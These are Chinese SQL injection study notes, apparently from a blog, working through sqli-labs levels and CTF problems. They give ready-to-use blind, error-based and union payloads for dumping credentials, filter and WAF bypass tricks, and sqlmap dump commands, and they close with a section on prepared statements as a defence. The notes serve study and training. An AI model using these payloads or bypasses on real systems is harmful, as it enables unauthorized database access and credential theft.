sql注入学习笔记

目录

盲注:

布尔盲注:

时间盲注:

报错注入(主要是updatxml,floor):

sql注入靶场及例题

sql-1注入流程:

sql注入2:

sql注入7(outfile函数注入):

Post注入:

sql注入17:

sql注入18:

sql注入21:

sql注入24(二次注入):

二次注入网鼎杯:

dirmap-master4:

[ctf题目 二次注入:](#ctf题目 二次注入:)

sql绕过技巧:

符号及函数替换

[空格用/* */来表示,](#空格用/* */来表示,)

用括号来代替:

用反引号引住表名:

引号

逗号:

like绕过

比较符号

[or and xor not](#or and xor not)

常用函数替换:

http参数污染:

宽字节注入:

无列名注入:

1、join报错

2、改别名:

常见的字符绕过:

字符:

正则表达式:

正则表达式回溯绕过:

perg_match()函数绕过:

找后台的方式

sqlmap:

sql预防:

sql预编译:

[order by || group by:](#order by || group by:)

sql注入的原因:

对用户的输入没有进行审核筛选,导致用户输入了危险的语句查询到了其他的表中内容

盲注:

盲注(Blind SQL Injection)是SQL注入的一种,当服务器没有直接返回数据库查询的错误信息或结果,而是通过页面的行为差异进行判断时,就需要使用盲注。

盲注有:报错注入 ,布尔,时间盲注。

报错注入:盲注的报错注入是盲注的一种技巧,通过在注入过程中故意引发SQL错误,让数据库返回错误信息,从而获取敏感数据。虽然盲注通常不会直接返回有用的查询结果,但在某些情况下,数据库会显示一些错误提示,这些提示中可能包含我们需要的数据信息

一般使用 a' and updatexml(1,concat(0x7e,database(),0x7e),1)#

布尔盲注:

其核心是利用 ANDOR 连接一个我们自己构造的、结果为 TRUEFALSE 的子查询。如果这个子查询为 TRUE,整个 WHERE 条件可能为真,页面返回"真"状态;如果为 FALSE,页面返回"假"状态。

判断是否存在布尔盲注

  • 输入 ?id=1 AND 1=1,页面正常显示。

  • 输入 ?id=1 AND 1=2,页面显示异常(或与 1=1 时不同)。

  • 测试

    • http://example.com/news.php?id=1 AND 1=1 -> 页面正常显示新闻。

    • http://example.com/news.php?id=1 AND 1=2 -> 页面显示"新闻不存在"或空白页。

    • 结论:存在布尔盲注。

  • 猜解数据库名长度

    • ...id=1 AND (SELECT LENGTH(database())) = 1 -- -> 页面异常。

    • ...id=1 AND (SELECT LENGTH(database())) = 2 -- -> 页面异常。

    • ...id=1 AND (SELECT LENGTH(database())) = 4 -- -> 页面正常

    • 结论:数据库名长度为4。

  • 猜解数据库名第一个字符

    • ...id=1 AND (SELECT ASCII(SUBSTRING(database(), 1, 1))) > 64 -- -> 页面正常(说明是大写字母或小写字母)。

    • ...id=1 AND (SELECT ASCII(SUBSTRING(database(), 1, 1))) < 123 -- -> 页面正常。

    • ...id=1 AND (SELECT ASCII(SUBSTRING(database(), 1, 1))) > 96 -- -> 页面正常(说明是小写字母)。

    • ...id=1 AND (SELECT ASCII(SUBSTRING(database(), 1, 1))) = 100 -- -> 页面正常('d'的ASCII码是100)。

    • 结论:第一个字符是 'd'。

时间盲注:

攻击者构造一个SQL语句,利用条件判断函数(如 IF())和延时函数(如 SLEEP()BENCHMARK())。如果条件为真,则执行延时函数,让服务器延迟几秒再响应;如果条件为假,则立即响应。通过测量响应时间,攻击者就能知道条件的真假。

  1. 测试

    • http://example.com/search.php?q=test' AND SLEEP(5) --

    • 观察浏览器开发者工具的Network面板,发现请求耗时约5秒。

    • 结论:存在时间盲注。

  2. 猜解版本信息第一个字符(版本信息通常以数字开头,如'5'或'8'):

    • ...q=test' AND IF((SELECT ASCII(SUBSTRING(version(), 1, 1))) = 53, SLEEP(5), 0) -- (53是'5'的ASCII码)

    • 观察响应时间,如果延迟了5秒,则说明版本号第一个字符是'5'。

报错注入(主要是updatxml,floor):

uodatexml:

我们的目标就是构造一个"非法"的 XPath 表达式,并把想要查询的数据库信息(如数据库名、版本号等)拼接到这个非法表达式中。当 UpdateXML 函数执行时,它会因为语法错误而报错,并"贴心地"把我们拼接进去的查询结果显示在错误信息里。

常见payload

复制代码
AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)

floor:

  • Floor(x): 向下取整函数,例如 Floor(1.9) 返回 1

  • Rand(): 生成一个 0 到 1 之间的随机浮点数。Rand(0) 会以 0 为种子生成一个固定的伪随机序列,这对于稳定触发报错至关重要。

  • Count(): 聚合计数函数。

  • Group By: 分组子句。

    复制代码
    AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)

    我们由内向外分解:

    1. (SELECT database()): 同样,这是我们的目标子查询。

    2. FLOOR(RAND(0)*2): 生成一个固定的 01 的序列。

    3. CONCAT((SELECT database()), FLOOR(RAND(0)*2)): 将查询结果和 01 拼接。例如,如果数据库名是 security,结果可能是 security0security1

    4. ... x: 使用 AS x(可省略 AS)给这个拼接后的字符串起一个别名 x

    5. FROM information_schema.tables: 这里需要一个记录数足够多的表来保证 GROUP BY 能执行多次,从而触发主键重复。information_schema.tables 是一个系统视图,通常有几十上百条记录,是理想的选择。任何记录数大于3的表都可以。

    6. GROUP BY x: 按 x(我们拼接的字符串)进行分组。这是触发报错的关键。

    7. SELECT COUNT(*), ...: COUNT(*) 是触发这个特定报错的必要条件,它与 GROUP BY 结合使用。

    8. (SELECT COUNT(*), ... FROM ... GROUP BY x) a: 将整个查询作为一个派生表,并别名为 a。这是因为在 MySQL 中,WHERE 子句中不能直接使用 GROUP BY,必须将其包装在一个子查询中。

    9. SELECT 1 FROM (...) a: 从这个派生表 a 中查询 1。因为派生表在执行 GROUP BY 时已经报错了,所以外层查询什么结果不重要,只要语法正确能执行即可。

    10. AND (...): 最后,将整个查询结果(其实执行不到这里)与原始条件用 AND 连接。

sql注入靶场及例题

sql-1注入流程:

1、逃出单引号的控制,闭合单引号或者单引号注释。 但是单引号注释不能直接输入符号要输入编码

符号对应编码可以通过cyberchef查看 常见的有# -- /**/ */

2、需要知道联合查询的页数:可以用order by来检测

3、让第一个表为空,然后我们可以查询出当前的用户权限和数据库名

select * from goods where gid ='1' union select 1, user() , database()

4、知道管理员的表名

id=-1' union select 1,

(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),

3--+

  • GROUP_CONCAT 用于将多行数据合并成一个字符串。

  • 默认情况下,它会用逗号 , 分隔每个结果。

    则传出的为users,emails,uagents,referers. ----查出表名为users

5、知道管理员表的列名

?id=-1' union select 1,

(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),

3 --+

查出users表中的有三列分别是id,username,password

6、获取密码和账户

?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;-- +

?id=-1' union select 1,2,

group_concat(username,0x3a,password) from users;-- +

sql注入2:

判断字符型还是数字型:

Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。 Url地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

因为如果为字符型的话:

复制代码
select * from <表名> where id = 'x and 1=1'
`select * from <表名> where id = 'x and 1=2'

不会报错,但是字符型1=2为假所以不输出。(主要是没有脱离引号的限制)

其他的和1一样

sql注入7(outfile函数注入):

这个方法是可以利用sql来getshell的方法。

条件:1、身份必须为root权限

2:必须知道网站的实际物理地址也就是 D:/php/www/sql/webshell.php

3: secure_file_priv 必须为空,需要在my.cnf下修改这个是设置导出文件路径的。

然后我们需要用outfile函数 将一段php代码写入到一个php脚本文件中并导出到网站上级目录下。

Post注入:

和get注入没什么差别,但是结尾变为了#,and 1=1 变为了or 1=1,

sql注入17:

用户设置了过滤,我们考虑在密码处注入

1' and updatexml(1,concat(0x7e,database(),0x7e),1)#

注意我们在此可能会有一个错误:在我们前面是aaa时,sql语句可能会语法报错,这个时候我们需要把字符替换为1,这样使sql语句会进行并运算,并且引发报错注入

原因:因为a不为数字,在update语法中会报错,我们只需要将and前改为数字就好,这样我们要使and的左边不报错,而让我们的报错的点在我们的updatexml上,就可以爆出信息。但是我们发现当我们输入为a时,如果我们要爆系统函数的信息,它又不会报a的错误,因为系统函数的执行优先级更高,还没轮到报a的错误,就已经把后方的updatexml中的内容爆出

原sql语句:update users set password='1' and updatexml(1,concat(0x7e,user(),0x7e),1)

sql注入18:

因为名字和密码都有监测机制了所以不存在注入点,通过抓包改包来实现注入,有address和uagent存在注入,通过修改ip_address或者uagent来注入。

我们修改了包的ip_address发现页面输出没有改变,那我们就修改uagent发现页面爆出名字,注入成功。

注入的闭合注意我们最好不通过注释来脱离单引号,要用闭合来脱离单引号,因为用了注释我们还需要编写后续的代码,那我们直接用 and '1' = '1 '(最后一个引号是原来的语句自带的)这样就实现了脱离单引号。

aaa' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

sql注入21:

和sql20关一样,通过cookie来注入,但是本关需要传入base64加密的注入代码(bp上可以直接base64加密)。

和之前不同的点是cookie是要在index这个文件也就是页面执行的第二次的时候才有值,因为第一次会输入username等,所以要在第二次开始注入。

sql注入24(二次注入):

在存数据进到数据库时会通过函数来限制输入的内容,导致没有注入点,但是当后续从数据库取出相关内容时,没有进行限制,导致存在了注入点,我们就可以通过在最开始输入内容时(比如名字)提前写好注入代码,然后在后续调用时就可以实现注入。

注入点为:

复制代码
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

这里的username是从数据库取来的,没有进行过滤,因此存在注入。

二次注入网鼎杯:

例如此次案例在我们输入category和content时是有函数来限制的,我们没有注入点,但是在后续提交留言的时候要调用category和content,而我们先前存入的category是 ',content=user(),/*, 然后后续我们再输入留言存入 */#就和前面的category实现了闭合,完成注入。将content=' '直接替换为了content=user(),第二次的content被注释了,后续的也被#注释

注入点的代码是在insert那一段

dirmap-master4:

扫描网页的源码,寻找注入点。

ctf题目 二次注入:

此题在注册时有过滤,但是在主页面登陆后,显示用户名就是直接从数据库调用没有过滤,明显的二次注入。

可以使用十六进制来注入代码

hex()就是转16进制,因为在注册时限制了information和 ,

所以我们只能转换为16进制绕过过滤,此题还要使用0' + ~ +'0闭合单引号,否则会注册失败

而且在此后搜索flag是我们还要hex(hex(select falg))因为只有一次的话会在英文字符前截断。

++绕过:如果,被过滤那么substr(select ~,1,10,)也可以用substr(select(~)from 1 to 10)。++

sql绕过技巧:

符号及函数替换
空格用/* */来表示,

payload为select/ * */ * /* */ from / * */user;

用括号来代替:

select(concat(username,0x3a,password))from(user);

用反引号引住表名:

select * from 'user'

引号

如果过滤单引号,那么我们的表名可以转换为16进制进行过滤。

逗号:

相当于查了三个独立的表各自取了个别名,并且用join连接起来了。

like绕过

可用于布尔盲注, payload为 :select user like 'r%'

返回结果为1 或者0,然后再依次往后一位的来进行爆破

比较符号

可以进行时间盲注:

or and xor not

and=&& or=|| xor=| not=!

常用函数替换:
http参数污染:

可以通过一些特性,绕过waf,比如给两个值,让合法的值进入到waf中,然后后续再将payload替换原来的合法值进入到查询语句中,比如php中取第二个值,我们可以在waf中传入合法的第二个值,但是第二个值在后续的waf中是进不去的比如 i.d != i_d 那么就会使用我们的payload的i_d的值。

宽字节注入:

因为过滤的时候会添加一个转义字符让我们的 ' 失效,我们要在后端让转义符号也被转义也就让其失效了那就是

\\ 这个的16进制编码为%5c,因为是gbk编码的,中文在gbk中是占了两个字节,%5c占一个字节,所以我们可以在%5c前加上一个字节,让其组成一个汉字,也就相当于把转义符号全部吃掉,从而使我们的 ' 重新生效

无列名注入:

在我们有时候information被过滤后,我们无法从数据库中获取数据库名或者表名等等,在ctf比赛中可以猜表名为ctf,flag,key等,但是在实际的注入中,我们就需要绕过了:我们可以通过查询sys表,来侧面查询数据库的表名。

但是在查询列名的时候,我们可能会遇见只能查询到id列的状况,这个时候我们就需要无列明注入了:

1、join报错

通过join联合自身查询,并且通过报错信息来知晓具体的列名,直至最后爆出所有列名。

2、改别名:

通过修改别名的方式来绕过具体的名称

但是有局限性是要知道具体有几列(自我理解)

常见的字符绕过:

空格:使用%0d %0a %0b %0c绕过 或者 () 或者 /**/

字符:

双写:and => aandnd

大写:select => Select

正则表达式:

https://regex101.com/

https://jex.im/regulex/

正则表达式回溯绕过:

因为回溯的限制为1000000个字符,所以我们在我们输入的字符串的后面加上1000000个字符就可以使正则无效,而且不影响正文地绕过。

具体例题可以参考

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

perg_match()函数绕过:

这个函数只检查字符串,提供一个只有一个字符串的数组即可绕过。

找后台的方式

1 谷歌语法

2 fofa

3 软件:包括但不限于dirsearch

4 awvs 扫描,爬虫

5 robots.txt

sqlmap:

SQLMap 是一个功能极其强大的开源自动化SQL注入和数据库接管工具。

重要的参数:

  • --technique=TECH

    • 作用

      :指定要使用的SQL注入技术。默认测试所有技术。

      • B: Boolean-based blind (布尔盲注)

      • E: Error-based (报错注入)

      • U: Union query-based (联合查询注入)

      • S: Stacked queries (可多语句查询注入)

      • T: Time-based blind (时间盲注)

      • Q: Inline queries (内联查询)

    • 示例sqlmap -u "http://example.com/" --technique=BEU (只使用布尔、报错、联合查询)

  • --level=LEVEL

    • 作用

      :设置测试的等级(1-5,默认为1)。等级越高,执行的Payload越多,测试越全面,但也越慢和越容易被发现。

      • Level 1: 测试GET和POST参数。

      • Level 2: 增加测试HTTP Cookie。

      • Level 3: 增加测试HTTP User-Agent/Referer。

      • Level 5: 增加测试HTTP Host头。

    • 示例sqlmap -u "http://example.com/" --level=3

  • --risk=RISK

    • 作用

      :设置测试的风险等级(1-3,默认为1)。风险越高,使用的Payload可能对数据库造成破坏的风险越大。

      • Risk 1: 默认,大部分无害的Payload。

      • Risk 2: 增加基于时间的盲注等。

      • Risk 3: 增加OR-based SQL查询等可能更新数据库的Payload。

    • 示例sqlmap -u "http://example.com/" --risk=2

    1、检测「注入点」

    复制代码
    sqlmap -u 'http://xx/?id=1'

    2、查看所有「数据库」

    复制代码
    sqlmap -u 'http://xx/?id=1' --dbs

    3、查看当前使用的数据库

    复制代码
    sqlmap -u 'http://xx/?id=1' --current-db

    4、查看「数据表」

    复制代码
    sqlmap -u 'http://xx/?id=1' -D 'security' --tables

    5、查看「字段」

    复制代码
    sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

    6、查看「数据」

    复制代码
    sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

    post请求:

    检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

    -r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

    复制代码
    sqlmap -r bp.txt

sql预防:

sql预编译:

预编译是将sql语句参数化,最开始是为了提升查询的效率,并不是为了防止sql注入,因为他可以先构建语法树,然后代入查询参数,从而避免了一次又一次构建语法树的步骤。

但是这也就是说预编译仅仅能够防御可参数化的位置进行sql注入,对于不可参数化的位置,预编译无能为力。

过程:

prepare:这就是预编译的准备过程,起占位的作用,即不管你传任何值,updatexml,union,selcect都只当做username的参数。

execute:就是将参数化的数据转义后填入到对应位置,并且执行sql语句。

如果我们强行输入注入语句:

会发现我们的闭合的引号自动被转义了,根本逃逸不出来。

简单来说:sql注入的原因就是非法用户的输入,数据库当作sql语句来执行了,预编译的作用就是:

复制代码
sql注入:select * from users where id='-1' union selcect 1,2,3--+
预编译:select * from users where id='?'(任何输入的语句直接放入到问号中,而我们输入的sql注入语句中的 ' 会被自动转义) 
order by || group by:

因为order by 如果后面的参数跟了引号,order by会失效,即order by的参数是不能被参数化的。

如果允许预编译绑定列名或表名,那么SQL结构部分会影响查询计划,比如下面的代码

复制代码
$stmt = $db->prepare("SELECT * FROM users ORDER BY :column");
$stmt->bindParam(':column', $column);
$stmt->execute();

首先,这样的写法会导致查询优化失败,数据库的查询优化器在预编译阶段无法确定 ORDER BY :column 具体会如何执行,不同列索引可能导致不同的查询计划,其次这样会导致无法复用执行计划,如果 :column 可能是 idusernameemail,不同列的索引和排序方式不同,数据库必须为每个不同的列生成新的执行计划,失去了预编译的优势,因此预编译绑定的值始终是数据值,不会影响 SQL 结构。

实际上order by和group by的地方是固定的,并不会被传值。

相关推荐
IT邦德2 小时前
基于OEL8环境的图形化部署Oracle26ai
数据库·oracle
一心赚狗粮的宇叔2 小时前
mongosDb 安装及Mongosshell常见命令
数据库·mongodb·oracle·nosql·web·全栈
naruto_lnq2 小时前
Python生成器(Generator)与Yield关键字:惰性求值之美
jvm·数据库·python
墨黎芜2 小时前
SQL Server从入门到精通——C#与数据库
数据库·学习·信息可视化
爱学习的阿磊2 小时前
持续集成/持续部署(CI/CD) for Python
jvm·数据库·python
一个响当当的名号2 小时前
lectrue10 排序和聚合算法
数据库
hamawari3 小时前
SQL语法
数据库·sql·oracle
陌上丨3 小时前
Redis内存使用率在95%以上,请问是什么原因?如何解决?
数据库·redis·缓存